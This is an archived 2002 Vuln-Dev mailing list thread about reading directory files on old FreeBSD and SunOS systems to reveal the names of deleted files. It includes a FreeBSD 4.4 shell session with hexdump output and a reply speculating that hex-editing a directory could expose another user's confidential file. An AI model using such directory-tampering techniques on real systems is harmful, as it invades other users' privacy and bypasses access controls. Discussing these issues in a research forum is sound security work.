Vulnerability Development mailing list archives

RE: spying (deleted) file entries in other users' directories

From: "Holmes, Ben" <Ben.Holmes () getronics com>
Date: Tue, 2 Jul 2002 21:31:34 +1000

What happens if you change bytes 45, 46 and 47 to be the same as 2B, 2C
and 2D respectively in /public (and make it world read/writable) on
those affected systems?

Can you then read the file (Assuming they are attribute markers and
assuming that the file is not overwritten and assuming you can open a
directory for write..)?

Better still, what if you copied the hex of that directory then just
rewrote it inside a directory you created (getting around the DIR having
to be world RW)..

for example (using what you have written, I am on a Win2k box and so I
can't just cut&paste from a shell prompt, and guest is an unpriv user)

{guest}~$ uname -a
Some Old Vulnerable System running on a CPU since When_Noah_was_a_boy

{guest}~$ whoami
guest

{guest}~$ mkdir ~/test

{guest}~$ cd test

{guest}test$ touch TestFile1

{guest}test$ touch TestFile2

{guest}test$ cd ..

{guest}~$ <some hex editor> test

<now you change the contents of "test" to be exactly the same as /public
and therefore point to the
inodes/blocks/sectors/whatever-that-filesystem-calls-it that are pointed
to with /public except changing bytes to "undelete" the file>

{guest}~$ cd test

(hopefully and probably with much dreaming)

{guest}test$ cat confidential-doc

<body of document>

Just a thought..  I'm sure most MODERN filesystems are immune to this
sort of tampering..
(I'll have to look into low level directory editing with NTFS, I just
spent about 2 months manually recovering the $MFT with DiskEdit and
finding the corruption was on top of the sectors I wanted anyway, I have
to get something out of it, I doubt Windows NT+ would allow me to open a
directory, even one I own, for binary write..), but the cross linking
may cause a filesystem checking app to get it all wrong and give the
wrong person permissions maybe!?..

-- Benjamin Holmes

E&OE. All spelling and grammatical errors are for your enjoyment and
entertainment only and are copyright Benjamin Holmes.  This message is
guaranteed free of exotic diseases. This e-mail message and any
attachments are confidential and may be privileged.  If you are not the
intended recipient, please notify me immediately by replying to this
message and please destroy all copies of this message and attachments.
Please also try to forget everything you have read that was contained in
this E-Mail message, except this part, and you may not copy it. Thank
you.

-----Original Message-----
From: FozZy [mailto:fozzy () dmpfrance com]
Sent: Sunday, June 23, 2002 6:57 AM
To: vuln-dev () securityfocus com
Subject: spying (deleted) file entries in other users' directories

Hello,

There is an old known (i hope) security issue if 
unpriviledged users are allowed to open() a directory to get 
a file descriptor and then read() the contents of this file. 
A directory is itself a file storing the names and inodes 
numbers (etc.) of the files it contains, including deleted 
ones. So if a user reads this file it can get the names of 
the deleted files. 

The examples below show that on an old FreeBSD4.4, if you 
store files into a private directory readable only by you, 
then you remove every sensitive files and give read-only 
access to everyone on the directory (no execute perm needed), 
the filenames will still show up to any user. Same thing if 
you change the directory name, of course. (mv bad; rm then 
mkdir rules ;)

This becomes an issue when sensitive information is disclosed 
into the filename.

Sorry if it was already done on this mailing-list, but if 
not, I think it could be interesting to some people to know 
what systems are still vulnerable and what are not.
- Linux is immuned: the read() call return the error EISDIR. 
OpenBSD seems also to be OK.
- FreeBSD 4.4 is vulnerable (didn't looked the CVS, it could 
be patched at this time, anybody knows ?)
- I saw this for the first time 3 years ago on a SunOS system 
while doing "cat /root" as a user. I don't know if current 
Sun systems are patched or not.

Don't misunderstand me, this is not an advisory on a new vuln 
i discovered, it is a request to the security community for 
publishing more info on this topic, cause i am too lazy to 
check it myself (although a quick search on google and 
securityfocus gave me nothing).

Regards,

FozZy
Hackademy / Hackerz Voice

rooted# uname -v
FreeBSD 4.4-RELEASE #0: Tue Sep 18 11:57:08 PDT 2001     
murray () builder FreeBSD org:/usr/src/sys/compile/GE
NERIC 
rooted# mkdir /test
rooted# touch /test/public-doc
rooted# chmod 700 /test
rooted# ls -ld /test
drwx------  2 root  wheel  512 Jun 22 13:01 /test
rooted# touch /test/confidential-doc
rooted# <...some work with the doc here...>
rooted# rm /test/confidential-doc 
rooted# chmod 744 /test
rooted# su guest
$ hexdump -C /test
00000000  2d 4a 00 00 0c 00 04 01  2e 00 00 00 02 00 00 00  
|-J..............|
00000010  0c 00 04 02 2e 2e 00 00  d7 4a 00 00 e8 01 08 0a  
|.........J......|
00000020  70 75 62 6c 69 63 2d 64  6f 63 00 c8 d8 4a 00 00  
|public-doc...J..|
00000030  d4 01 08 10 63 6f 6e 66  69 64 65 6e 74 69 61 6c  
|....confidential|
00000040  2d 64 6f 63 00 ec 70 c8  00 00 00 00 00 00 00 00  
|-doc..p.........|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  
|................|
*
00000200
$ /bin/ls /test
public-doc
$ exit
rooted# ls -l /test
-rw-r--r--  1 root  wheel  0 Jun 22 13:01 public-doc
rooted# mv /test /public
rooted# chmod 755 /public
rooted# su guest
$  ls -l /public
-rw-r--r--  1 root  wheel  0 Jun 22 13:01 public-doc
$ hexdump -C /public
00000000  2d 4a 00 00 0c 00 04 01  2e 00 00 00 02 00 00 00  
|-J..............|
00000010  0c 00 04 02 2e 2e 00 00  d7 4a 00 00 e8 01 08 0a  
|.........J......|
00000020  70 75 62 6c 69 63 2d 64  6f 63 00 c8 d8 4a 00 00  
|public-doc...J..|
00000030  d4 01 08 10 63 6f 6e 66  69 64 65 6e 74 69 61 6c  
|....confidential|
00000040  2d 64 6f 63 00 ec 70 c8  00 00 00 00 00 00 00 00  
|-doc..p.........|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  
|................|
*
00000200
$ exit

Attachment: smime.p7s
Description:

Current thread:

RE: spying (deleted) file entries in other users' directories Holmes, Ben (Jul 02)